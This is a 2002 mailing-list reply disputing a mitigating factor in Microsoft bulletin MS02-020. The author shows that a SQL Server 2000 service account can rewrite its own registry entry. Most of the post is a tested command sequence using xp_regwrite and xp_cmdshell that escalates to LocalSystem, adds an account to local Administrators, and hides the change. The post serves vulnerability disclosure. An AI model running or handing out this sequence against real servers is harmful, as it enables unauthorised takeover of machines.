Re: Microsoft Security Bulletin - MS02-020

[Bronek Kozicki <brok () rubikon pl>]

> SQL Extended Procedure Functions Contain Unchecked Buffers (Q319507)
[ . . .]
> SQL Server service to fail, or to cause code to run in the security
> context in which SQL Server is running. SQL Server can be
> configured to run in various security contexts, and by default
> runs as a domain user. The precise privileges the attacker could
> gain would depend on the specific security context that the
> service runs in.
[ . . . ]
> Mitigating Factors:
> ====================
>  - The effect of exploiting the vulnerability would depend on the
>    specific configuration of the SQL Server service. SQL Server can
>    be configured to run in a security context chosen by the
>    administrator. By default, this context is as a domain user.
>    If the rule of least privilege has been followed, it would
>    minimize the amount of damage an attacker could achieve.

above is UNTRUE. SQL Server 2000 _can_ run under non-administrator account,
however it requires full access to registry key:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\MSSQLServer
as explicitly stated in "Setting Up a Secure SQL Server 2000 Installation"
http://www.microsoft.com/technet/prodtechnol/sql/maintain/security/sql2ksec.asp 
Having this access level, SQL server process is able to modify "ObjectName"
value in the registry. This is enough to re-configure service to run as
LocalSystem. Hence, attacker able to run code under SQL Server account is able
to re-configure service to run under highest possible local privileges,
even is SQL Server is running as regular user. For this reason, securing
SQL server by means of using least privileged account for the service is
simply ineffective - opposite to what Microsoft says in above referenced
article, and in MS02-020.
This is result of required by SQL Server access level to registry key where service
configuration is kept. SQL server also delivers stored procedure for this type
of operation: xp_regwrite (undocumented) so this can be verified without writing
shellcode:
xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\MSSQLServer',
'ObjectName', REG_SZ,'LocalSystem'
xp_cmdshell 'net stop mssqlserver /y & net start mssqlserver'

After changing registry and restarting service - voile! Instead of being poor
user, you have local root! Of course, you may use this privilege for one
thing only - put user account used by SQL Server before to local Administrators
group, and restore previous value. There is undocumented xp_regread extended
stored procedure, which can be used to read account name, before changing it to
LocalSystem.

[re-establish connection]
xp_cmdshell 'whoami'
xp_cmdshell 'net localgroup administrators DOMAIN\someacocunt /add'
xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\MSSQLServer',
'ObjectName', REG_SZ,'DOMAIN\someacocunt'
xp_cmdshell 'net stop mssqlserver /y & net start mssqlserver'
[re-establish connection]
xp_cmdshell 'whoami'

... and you have old configuration back, with one difference: now you own the
machine! Everyone may try above, it has been tested and will run if you have
'sa' level, or you may code this in C (use Open Data Services) and put in own
extended stored procedure (or shellcode ? :>> ) to run under SQL service account.
You will gain local Administrator, no matter what local restrictions was put on
SQL Server account.

I want to point that this is _not_ problem of poor administration: administrator
of this machine have done everything to secure his/her server, except removing
undocumented Microsoft extended stored procedures. Of course, sane administrator
will not allow untrusted users to run any code on SQL server as 'sa', but this
is not the point. My point is to explain why one of mitigating factors put in
MS02-020 is UNTRUE. Attacker able to run code in SQL Server process, or as 'sa'
will own the machine. Opposite to what Microsoft says: you may _not_ relay on local
restrictions effective on SQL service account as a security measure!


B.